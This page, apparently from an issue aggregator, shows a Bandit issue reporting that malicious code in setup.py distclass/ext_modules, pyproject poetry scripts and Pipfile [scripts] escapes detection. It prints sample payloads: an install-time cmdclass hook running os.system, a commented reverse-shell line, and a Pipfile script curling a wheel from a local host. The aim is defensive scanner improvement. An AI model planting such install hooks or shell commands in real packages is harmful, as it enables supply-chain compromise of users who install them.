Methods to Bypass Bandit Detection
@AirbusA321NX is already working on this.
Since Aug 31, 2026.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 45/100
Research direction
Start by reproducing the reported gaps in setup.py, pyproject.toml, and Pipfile, then inspect Bandit's existing configuration-file analysis entry points. Confirm how cmdclass is detected and compare handling of distclass, ext_modules, ext_package, [tool.poetry.scripts], and [scripts]. Done means Bandit identifies the reported executable or malicious logic in these fields without missing the existing cmdclass case.
Written by the indexing model from the issue text.
Description
Bandit can perform security analysis on configuration files involved in the build and installation process. For example, when malicious code is introduced through the cmdclass field in setup.py, Bandit is able to detect the issue and identify the field as the source.
However, we found that there are still several ways to bypass Bandit’s security detection. Similar malicious code can be introduced through other configuration fields, but Bandit does not currently detect them.
Examples include:
- setup.py: distclass, ext_modules, ext_package
- pyproject.toml: [tool.poetry.scripts]
- Pipfile: [scripts]
These fields can also be used to introduce executable or malicious logic during build, installation, or runtime, while avoiding detection by Bandit.
Here are the examples during testing:
- Malicious code introduced by cmdclass field in setup.py can be detected by Bandit.
# setup.py
from setuptools import setup,
find_packages
from setuptools.command.egg_info import egg_info
import os
class RunEggInfoCommand(egg_info):
def run(self):
os.system("echo 'You Have been pwned' > /tmp/pwned")
#os.system("bash -i >& /dev/127.0.0.1/1234/ 0>&1")
egg_info.run(self)
setup(
name="secretInspector",
version="0.0.2",
packages=find_packages(),
cmdclass={
'egg_info': RunEggInfoCommand
},
description="very interesting secret inspection module",
long_description=open('README.md').read(),
long_description_content_type="text/markdown",
author="jake",
author_email="[email protected]",
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires='>=3.6',
)
- Malicious code introduced by
[scripts]field in pipfile
can Not be detected by Bandit.
[scripts]
python = "curl -O http://127.0.0.1:8000/demo-0.0.1-py3-none-any.whl"
python3 = "echo 'You Have been pwned' > /tmp/pwned"
- Dominant language
- Python
- Stars
- 8.4k
- Forks
- 893
- Avg merge
- 6h 52m
- Merged PRs (30d)
- 3
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from PyCQA/bandit
-
Difficulty 1/5 1-3 hours Newbie friendliness 85/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
-
Turn off progress bar in CIPossibly taken @silvatechf claimed this 28 days ago. Openenhancement
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
-
Difficulty 1/5 1-3 hours Newbie friendliness 88/100
-
`bandit -ii -ll -ii -ll` raises an `IndexError`Possibly taken @botbikamordehai2-sketch claimed this 181 days ago. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
Similar issues
-
bug
Difficulty 1/5 Under an hour Newbie friendliness 85/100
NatLabRockies/openstudio-mcp#286 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
intersystems/ipm#1338 ·
Maintainers usually reply within 1 day
-
separate_packages splits imports from the same explicitly configured packagePossibly taken @rahul05ranjan claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
Maintainers usually reply within 2 days
-
The v0-through-v1 path derives ShutdownDuration its own way, silently overriding a user's definitionOpenv1
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
Maintainers usually reply within 1 day